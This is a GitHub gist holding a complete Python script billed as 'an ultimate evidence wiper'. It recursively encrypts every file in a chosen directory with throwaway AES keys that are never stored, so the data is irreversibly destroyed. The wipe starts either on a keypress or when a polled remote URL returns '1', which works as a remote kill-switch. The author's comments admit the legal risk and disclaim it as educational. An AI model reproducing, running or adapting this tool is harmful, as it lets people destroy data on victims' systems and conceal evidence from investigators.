Created
August 12, 2023 04:50
-
-
Save shadowdevnotreal/6f63a13a78bfcf0fe6fc3e2695dc4b1e to your computer and use it in GitHub Desktop.
Clean Slate
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python3 | |
| from Crypto.Cipher import AES | |
| from Crypto.Random import get_random_bytes | |
| import urllib.request | |
| import os | |
| import argparse | |
| from time import sleep | |
| import sys | |
| print(''' | |
| ... | |
| ▄ ▄ ▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄ | |
| █ █ ▄ █ █ █ █ █ ▄ █ | |
| █ ██ ██ █ █ ▄ █ ▄▄▄█ █ █ █ | |
| █ █ █ █▄█ █ █▄▄▄█ █▄▄█▄ | |
| █ █ █ ▄▄▄█ ▄▄▄█ ▄▄ █ | |
| █ ▄ █ █ █ █ █▄▄▄█ █ █ █ | |
| █▄▄█ █▄▄█▄▄▄█▄▄▄█ █▄▄▄▄▄▄▄█▄▄▄█ █▄█ | |
| ... | |
| an ultimate evidence wiper v1.1 | |
| Written by Utku Sen (Jani) / utkusen.com | |
| Refactored by Shadow Dev | |
| ''') | |
| def pad(s): | |
| block_size = AES.block_size | |
| return s + b"\0" * (block_size - len(s) % block_size) | |
| def encrypt(message, key): | |
| message = pad(message) | |
| iv = get_random_bytes(AES.block_size) | |
| cipher = AES.new(key, AES.MODE_CBC, iv) | |
| return iv + cipher.encrypt(message) | |
| def encrypt_file(file_name, key): | |
| with open(file_name, 'rb') as fo: | |
| plaintext = fo.read() | |
| enc = encrypt(plaintext, key) | |
| with open(file_name, 'wb') as fo: | |
| fo.write(enc) | |
| def create_key(n): | |
| key = get_random_bytes(n) | |
| return key | |
| def destroy_directory(location): | |
| try: | |
| for root, _, files in os.walk(location): | |
| for fil in files: | |
| fname = os.path.join(root, fil) | |
| encrypt_file(fname, create_key(32)) | |
| print(fname + " is encrypted") | |
| print("---Action completed!---") | |
| except Exception as e: | |
| print(f"Error encrypting directory: {e}") | |
| def check_url(url): | |
| try: | |
| response = urllib.request.urlopen(url) | |
| data = response.read() | |
| text = data.decode('utf-8') | |
| return text == '1' | |
| except Exception as e: | |
| print(f"Error checking URL: {e}") | |
| return False | |
| def listener_local(location): | |
| print("Press 'Y' and Enter to start action.") | |
| while True: | |
| response = input() | |
| if response.lower() == 'y': | |
| print("--Action Started!--") | |
| destroy_directory(location) | |
| break | |
| def listener_remote(url, interval, location): | |
| print("Status: Listening") | |
| while True: | |
| if check_url(url): | |
| print("--Action Started!--") | |
| destroy_directory(location) | |
| break | |
| sleep(interval) | |
| if __name__ == '__main__': | |
| parser = argparse.ArgumentParser() | |
| parser.add_argument('-d', action='store', dest='location', help='Directory to be encrypted', required=True) | |
| parser.add_argument('-u', action='store', dest='url', help='URL where the program listens for commands', required=False) | |
| parser.add_argument('-i', action='store', dest='interval', help='Interval for checking the URL (only needed for remote)', required=False, type=int) | |
| parser.add_argument('-m', action='store', dest='mode', help="Mode: 'local' or 'remote'", required=True) | |
| argv = parser.parse_args() | |
| if argv.mode == 'local': | |
| listener_local(argv.location) | |
| elif argv.mode == 'remote': | |
| if argv.url and argv.interval: | |
| listener_remote(argv.url, argv.interval, argv.location) | |
| else: | |
| print("URL and interval are required for remote mode.") | |
| sys.exit(1) | |
| else: | |
| print("Invalid mode. Choose 'local' or 'remote'.") | |
| sys.exit(1) |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Deleting data can be a crime based on local, state, or federal regulations.
For educational purposes only.
Use at your own peril.
Local and remote options.
Credit to the guy who came up with the idea.
It has been refactored and updated with all new protocols and encryption methods,